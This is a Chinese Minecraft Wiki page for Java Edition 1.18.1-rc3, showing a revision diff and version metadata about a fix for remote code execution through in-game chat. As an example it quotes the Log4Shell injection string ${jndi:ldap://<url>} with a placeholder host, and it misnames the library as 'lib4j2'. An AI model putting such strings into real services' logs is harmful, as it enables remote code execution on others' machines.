Minecraft Wiki

除另有声明,转载时均必须注明出处若簡繁轉換出錯,請以遊戲內為準请勇于扩充与修正内容有兴趣逛逛我们的微博沟通交流,欢迎到社区专页需要协助,请在告示板留言

了解更多

Minecraft Wiki
(既然en都写清楚了那这边也写出来)
(// Edit via InPageEdit)
第24行: 第24行:
 
}}
 
}}
 
; 其他漏洞
 
; 其他漏洞
* 修复了1个玩家可以通过游戏内聊天远程执行代码的漏洞。<ref name="article_1.18.1-rc3"/><ref>https://help.aliyun.com/noticelist/articleid/1060971232.html</ref></onlyinclude>
+
* 由于在上游库lib4j2中的安全漏洞,攻击者可以通过游戏内聊天或其他方法,使游戏在日志中记录如<code>${jndi:ldap://<url>}</code>等的可被利用的字符串时远程执行代码。<ref name="article_1.18.1-rc3"/><ref>https://help.aliyun.com/noticelist/articleid/1060971232.html</ref></onlyinclude>
   
 
== 参考 ==
 
== 参考 ==

2021年12月10日 (五) 09:02的版本

1.18.1-rc3
1.18.1-rc3
Java Edition 1.18.1-rc3
版本

Java版

类型

发布候选

发布日期

2021年12月10日

发布候选归属

1.18.1

下载

客户端.json
服务端

混淆映射表

客户端
服务端

协议版本
  •  DEC1073741888
  •  HEX40000040
数据版本

2864

1.18.1-rc3Java版1.18.1的第3个发布候选版本,发布于2021年12月10日[1],修复了1个严重安全性漏洞。

修复

修复了1个漏洞
其他漏洞
  • 由于在上游库lib4j2中的安全漏洞,攻击者可以通过游戏内聊天或其他方法,使游戏在日志中记录如${jndi:ldap://<url>}等的可被利用的字符串时远程执行代码。[1][2]

参考